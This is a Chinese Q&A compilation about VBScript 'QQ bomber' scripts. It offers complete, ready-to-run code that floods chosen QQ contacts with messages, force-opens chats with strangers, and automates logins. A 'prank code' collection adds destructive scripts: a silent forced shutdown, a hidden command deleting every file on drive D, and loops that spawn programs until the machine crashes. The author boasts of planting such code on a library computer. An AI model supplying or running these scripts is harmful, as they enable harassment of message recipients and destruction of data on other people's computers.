vbs代码qq轰炸机,电脑qq轰炸代码怎么成功不了，老是说有未结束的字符串常量？

vbs代码qq轰炸机,电脑qq轰炸代码怎么成功不了，老是说有未结束的字符串常量？详细介绍

本文目录一览： qq信息轰炸怎么做

qq信息轰炸是对指定好友进行频率语言攻击，最快速率能达到1MS一次攻击，如果对方计算机配置较低的话有可能让对方计算机死机。那朋友们知道qq信息轰炸怎么做吗？下面是步骤。1，在桌面创建一个文档，将下面代码拷贝进去。2，然后更改文件后缀名为.vbs文件。3，打开QQ发送信息页面，将你要发送的信息“拷贝”（必须是粘贴进去的文本）到QQ消息框中，然后双击你的.vbs文件，即可完成。（注意：有的电脑版本不支持.vbs文件。）

如何用vbs自动登录qq

　　如何用vbs自动登录qq?怎样制作一个VBS脚本让QQ自动登陆呢?下面这个代码，只要换下QQ安装路径，QQ号和密码就能使用了。
　　 vbs自动登录qq步骤
　　新建一个文本文档。
　　输入下列代码。
　　Dim Program1
　　Program1= "QQ路径"
　　Set WshShell=createobject("wscript.shell")
　　Set oExec=WshShell.Exec(Program1)
　　WScript.Sleep 3000
　　WshShell.AppActivate "cncn"
　　WshShell.SendKeys "+{TAB}"
　　WshShell.SendKeys "QQ号"
　　WScript.Sleep 200
　　WshShell.SendKeys "{TAB}"
　　WshShell.SendKeys "密码"
　　WScript.Sleep 200
　　WshShell.SendKeys "{ENTER}"
　　然后点击“文件”——“另存为”。
　　选择保存路径及输入文件名“QQ自动登陆.vbs”，保存。
　　然后双击运行该文件，即可自动登录QQ。

这是一个QQ炸弹的代码，怎样存为.vbs 在word里面不能存。另外那个脚本里面要填什么？

打开记事本，把上面的内容复制进去，然后选择文件保存，在保存类型中选择所有文件，然后将文件名命名为qq炸弹.vbs就行了。
写在记事本里！然后改后缀名
用记事本（.txt）存……
把扩展名改成.vbs就行了……
另外，你这脚本有错误，不用测试，我看得出来。
这脚本恐怕没有用呢。
我把我写的QQ炸弹给你吧。
msgbox "启动后在两秒内将光标移到炸弹信息窗口哪儿。注意QQ发信息设置按Ctrl+ENTER弹信息。"
xx=inputbox("炸弹信息","必须是英文，禁止中文标点。违者包你完蛋","qisiwole1")
a=int(inputbox("炸弹次数",,100))
jg=1000/int(inputbox("每秒炸弹次数（输1启动"机枪"模式）",,4))
if jg=1000 then
yyy=msgbox ("启动机枪模式？可能对方/你死机！甚至服务器瘫痪……(连作者都没测试过：信息10000条，电脑最快速度发送)",16+vbyesno,"相当危险!")
if yyy=vbyes then
jg=1
a=10000
else
msgbox "已取消，默认设置。确认开始"
a=100
jg=250
end if
end if
msgbox "预计耗时"&a*jg/1000+a*0.05&"秒"
dim i,ppp
ppp=(10000/(a*jg))
i=0
wscript.sleep 2000
Set Wshell=WScript.CreateObject("WScript.Shell")
do
i=i+1
if a<i then
msgbox "轰炸完毕。"
exit do
end if
wscript.sleep jg
WShell.SendKeys xx
WShell.SendKeys "^{enter}"
loop

<i then
如何做一个不停往别人qq上发相同信息的vbs
<i then

Set WshShell= WScript.CreateObject("WScript.Shell")
WshShell.AppActivate ""
for i=1 to 99
WScript.Sleep 500
WshShell.SendKeys "^v"
WshShell.SendKeys "%s"
next
后缀改为vbs，ctrl c 你要发送的内容 然后运行脚本 光标反正发送对象的输入框里

qq强制聊天代码原理

Set /p num=qq: 设置一个变量接受QQ号码
If /I "%num%"=="n" Exit 如果接受到的是字母n 直接退出
start tencent://Message/?Uin=%num% 打开聊天窗口
cls 清屏
1.QQ强制聊天代码，把代码中的“********”星号换成想与其聊天的QQ号即可。
代码如下：http://wpa.qq.com/msgrd?V=1amp;Uin=********amp;Site=ioshenmueMenu=yes
使用方法：把代码中星号换成想与其聊天的QQ号后复制到浏览器的地址栏处即可。无论他是否是好友，无须加好友就能给对方发QQ消息。
2.
第一步：在电脑桌面上点击右键，选择“新建”→“记事本”，然后在其中输入以下代码：
ON ERROR RESUME NEXT
Dim QQ_NUM
if Wscript.arguments.count<1 then
QQ_NUM=InputBox(""&vbCr&vbCr&"QQ强行聊天器"&vbCr&vbCr&"","QQ强行聊天器VBS实现","输入你想要聊天的QQ号码，如：123456789")
if QQ_NUM="" then
Wscript_.quit
end if
else
VQQ_NUM = Wscript.arguments.Item(0)
end if
set ws=wscript.createobject("wscript.shell")
ws.run "http://wpa.qq.com/msgrd?V=1&Uin="+QQ_NUM+"&Site=ioshenmue&Menu=yes",0
第二步：当输入完毕之后，点击“文件”，然后选择“另存为”，选择保存名字为“QQ强行聊天器VBS实现.vbs”（不外加引号）。保存类型为“所有文件”。这时在保存的地方双击打开这个文件，就可以在输入的对话框中输入任意QQ聊天了。前提是在本机上已经打开QQ了。
说明：上面是一段VBS代码具体意思如下：
ON ERROR RESUME NEXT 如果程序发生错误继续执行
Dim QQ_NUM 定义变量
inputbox 界面中默认显示内容，大家可以修改
对话框内容 if QQ_NUM="" then 检测用户的输入是否为空，如果为空
Wscript_.quit 退出脚本
3.tencent://Message/?Menu=YES&Uin=此处替换为您的qq号码&websiteName=im.qq.com
把上面那个写入要聊天的QQ号,就是=和&之间,那些字是没有的.然后复制到地址栏,确定就行了.不用打开任何网页.
4.tencent://Message/?Menu=YES&Uin=此处替换为自己的qq号码&websiteName=im.qq.com
把上面那个写入你要聊天的QQ号,就是=和&之间,那些字是没有的.然后复制到地址栏,确定就行了.不用打开任何网页.
5.有个小技巧,在地址栏输入 “ wpa.qq.com/msgrd?Uin=加明星的QQ号 ”就能和对方聊天啦!以上QQ大多数是加不上好友的!

用vbs编写qq聊天刷屏的时候 代码是to10 结果发出去的是消息10段代码 请 问大神该如何解决

用这个
name=Inputbox("请输入轰炸对象名称")
Dim a
a=inputbox("请输入轰炸次数")
boom=Inputbox("请输入轰炸内容")
msgbox("轰炸对象名称:"+name)
msgbox("轰炸次数:"+a)
msgbox("轰炸内容:"+boom)
msgbox("即将开始轰炸！（若信息有误请退出重进）")
Dim Word
Set Word=CreateObject("Word.Application")
Word.Documents.Add
Word.Selection.Text=boom
Word.Selection.Copy
Word.Quit False
Set WshShell= WScript.CreateObject("WScript.Shell")
WshShell.AppActivate name
for i=1 to (int(a))
WScript.Sleep 10
WshShell.SendKeys "^v"
WshShell.SendKeys "%s"
Next

电脑qq轰炸代码怎么成功不了，老是说有未结束的字符串常量？

你的轰炸软件被qq拦截了，内存寻址出错
另存为编码是ANSI的txt文档，修改后缀，重新运行；
亲测有用，在网页链接上面看到的，他的代码更好。
这是VBS脚本编码方式不正确或语法错误造成的，您可以参考附图中注意问题，经测试脚本运行成功。
这段代码脚本功能为自动控制键盘模拟输入，请勿打扰他人哦。
脚本中含有中文字符，建议您用ANSII编码方式。
错误代码为： 800A0409
若您自主不能此问题解决，可致电软件官方或咨询我们，获取免费专业处理意见及帮助。

电脑vbs代码

vbs整人代码大集合 多年的代码收集
发布时间：2011-02-26 22:13:53 作者：
一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可).
xx.vbs=>
复制代码 代码如下:
On Error Resume Next
Dim wsh,ye
set wsh=createobject("wscript.shell")
for i=1 to 10
wscript.sleep 700
wsh.AppActivate("与 xx 聊天中")
wsh.sendKeys "^v"
wsh.sendKeys i
wsh.sendKeys "%s"
next
wscript.quit
QQ骚扰信息,也可以用在其它程序上。
二、我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈
------------------------------------------------------------------------------
do
msgbox "You are foolish!"
loop
------------------------------------------------------------------------------
三、打开无数个计算器，直到死机
------------------------------------------------------------------------------
set wsh=createobject("wscript.shell")
do
wsh.run "calc"
loop
-----------------------------------------------------------------------------
四、直接关机
-----------------------------------------------------------------------------
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "shutdown -f -s -t 00",0 ,true
-----------------------------------------------------------------------------
五、删除D:\所有文件
---------------------------------------------------------------------------
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true
----------------------------------------------------------------------------
六、不断弹出窗口
----------------------------------------------------------------------------
复制代码 代码如下:
while(1)
msgbox "哈哈 你被耍了！"
loop
----------------------------------------------------------------------------
七、不断按下alt+f4 （开什么都关闭……）
---------------------------------------------------------------------------
复制代码 代码如下:
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
while(1)
WSHshell.SendKeys "%{F4}"
loop
八、按500次回车
(以上代码在运行者的电脑上显示500个对话框。其中 do until s=500 ，500可以随意更改)
复制代码 代码如下:
dim s
do until s=500
s=s+1
msgbox "哥们，给我按500次回车吧",64
loop
'------------------------ ------------------------------------------------------------
九、关不掉的窗口
复制代码 代码如下:
WScript.Echo("嘿，谢谢你打开我哦，我等你很久拉！"&TSName)
WScript.Echo("你是可爱的小朋吗?")
WScript.Echo("哈,我想你拉，这你都不知道吗？")
WScript.Echo("怎么才来，说~是不是不关心我")
WScript.Echo("哼,我生气拉，等你这么久，心都凉啦。")
WScript.Echo("小强很生气，后果很严重哦。")
WScript.Echo("嘿嘿！你也会很惨滴哦")
WScript.Echo("是不是想清除我？")

用了QQ刷屏代码怎么关!!!!

还要吗（好像是个远古问题
1：
按win+r
输入cmd+回车
输入：tskill Wscript+回车
就好了
2.
按ctrl+shift+esc
找到"进程"
往下翻找到WScript.exe并单击
点击“结束进程” 点确认
附赠优化版qq刷屏代码
name=Inputbox("请输入轰炸对象名称")
Dim a
a=inputbox("请输入轰炸次数")
boom=Inputbox("请输入轰炸内容")
msgbox("轰炸对象名称:"+name)
msgbox("轰炸次数:"+a)
msgbox("轰炸内容:"+boom)
msgbox("即将开始轰炸！（若信息有误请退出重进）")
Dim Word
Set Word=CreateObject("Word.Application")
Word.Documents.Add
Word.Selection.Text=boom
Word.Selection.Copy
Word.Quit False
Set WshShell= WScript.CreateObject("WScript.Shell")
WshShell.AppActivate name
for i=1 to (int(a))
WScript.Sleep 10
WshShell.SendKeys "^v"
WshShell.SendKeys "%s"
Next
保存一下代码为后缀名vbs 双击即可.
set y=getobject("winmgmts:\\.\root\cimv2")
set x=y.execquery("select * from win32_process where name='wscript.exe'")
for each i in x
i.terminate()
next